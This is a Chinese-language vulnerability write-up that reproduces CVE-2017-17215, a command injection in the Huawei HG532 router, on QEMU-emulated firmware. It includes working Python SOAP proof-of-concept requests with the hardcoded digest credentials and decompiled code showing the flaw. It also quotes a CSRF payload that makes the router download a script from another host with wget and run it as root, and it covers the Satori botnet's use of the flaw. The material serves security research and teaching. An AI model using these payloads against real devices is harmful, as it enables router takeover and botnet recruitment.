以华为路由器为例，使用QEMU仿真模拟并分析该漏洞的成因。
1 解压固件
尝试binwalk提取文件系统：
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
解压出来的有很多文件，最主要的就是squashfs文件系统这个文件夹
2 模拟仿真
首先在解包的文件系统中找一个可执行文件，使用file命令查看一下系统架构等信息
如上图所示，可以知道该系统为MIPS架构，因此我们在启动QEMU的时候需要使用MIPS的内核以及文件系统：
下载地址：
https://people.debian.org/~aurel32/qemu/mips/
因为我们期望宿主机能够和QEMU仿真机处在同一个网络环境中，所以我们要对网络进行设置，首先是在宿主机中配置tap网络：
sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig
接下来启动QEMU：
sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s
账号密码均为root
给qemu中的仿真机设置IP地址
为了方便上传解包的文件系统，我们这里先用tar将文件系统打包
使用SCP传输文件
在QEMU仿真机中解压
挂载固件文件系统中的proc目录和dev目录到chroot环境，因为proc中存储着进程所需的文件，比如pid文件等等，而dev中存储着相关的设备
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh
通过ssh连接qemu，并启动路由器「此处需要再次执行chroot」
启动路由器
通过之前的qemu终端我们可以查看到ip地址已经发生变化，因此sh登陆的链接已经被断开，所以我们这里再将IP地址修改回来
这个时候再使用浏览器访问192.168.3.2即可
账号密码分别为：admin / @Hua1234，存在于固件压缩包的账号密码文件内：
3 漏洞复现
根据网上的复现文章，payload如下：
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
可以看到在NewStatusURL标签处注入了代码，例如上面的POC为创建一个名为hell的文件夹。
4 漏洞分析
我们可以看到这sprinf将418和414变量直接写入到了1040字符串，未经过任何验证就直接使用system执行
int FUN_0040749c(int param_1)
{
int iVar1;
int local_418;
int local_414;
char acStack1040 [1028];
iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
if (((iVar1 == 0) && (local_418 != 0)) &&
(iVar1 = ATP_XML_GetChildNodeByName
(*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
{
if (local_414 != 0) {
snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
local_418,local_414);
system(acStack1040);
}
}
return iVar1;
}
可以看到程序通过ATP_XML_GetChildNodeByName函数来获取NewDownloadURL节点的内容，然后判断结果是否为空，如果获取成功且结果不为空则继续获取NewStatusURL节点的内容，再判断结果是否空，如果不为空则将NewDownloadURL和NewStatusURL节点的内容拼接到字符串，并执行。
此处我们就可以构造插入命令执行
POC如下：
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir hell;</NewStatusURL>
<NewDownloadURL>;mkdir hello;</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)
在两个注入点分别注入不同的命令，qemu仿真机建立的文件如下
5 漏洞扩展
值得一提的是，该路由器的upnp只能从内网端口访问，默认无法从外网端口访问，那我们有什么办法扩大该漏洞影响呢？
通过查阅资料，我们发现了salt@腾讯玄武实验室师傅对该漏洞的探索，如下：
要成功发起该请求需要满足以下两点：一是成功通过服务器端的HTTP基础认证，二是构造XML攻击代码。仔细观察HTTP基础认证的字段，我们可以发现，用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单，使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。接下来就是如何用表单来构造一个XML的请求包了https://paper.seebug.org/498/
最终，salt师傅构造的CSRF攻击payload如下：
<body onload='document.forms[0].submit()'>
<form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
<input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
</form>
</body>
攻击者只要诱使用户访问包含上述代码的页面，存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行
能够将仅能在内网触发的漏洞扩大到远程攻击的想法，值得我们在每次漏洞挖掘中去思考
5 漏洞影响
在Satori僵尸网络事件中，攻击者使用的0day漏洞为华为家用路由器HG532远程执行任意代码（CVE-2017-17215），payload是名为OKIRU/SATORI，是Mirai的升级版变种。攻击发起者的昵称为Nexus Zeta
研究人员确认了漏洞后，就通报给华为，华为安全团队非常给力，很快对该漏洞进行了响应和修复，并提供了补丁
关于该僵尸漏洞的详细信息，可以阅读如下报告：https://cloud.tencent.com/developer/news/7159
Time Line：
2018-02-06 V1.5 UPDATED Updated the description
2017-12-22 V1.4 UPDATED Added the description of solution
2017-12-14 V1.3 UPDATED Added CVE-ID
2017-12-07 V1.2 UPDATED Added Temporary Fixes
2017-12-06 V1.1 UPDATED Added the IPS signature
参考引用：
https://xz.aliyun.com/t/8494
https://xz.aliyun.com/t/4819
https://paper.seebug.org/498/
https://xz.aliyun.com/t/4130#toc-5
https://f01965.com/2020/07/25/CVE-2017-17215/
https://research.checkpoint.com/2017/good-zero-day-skiddie/
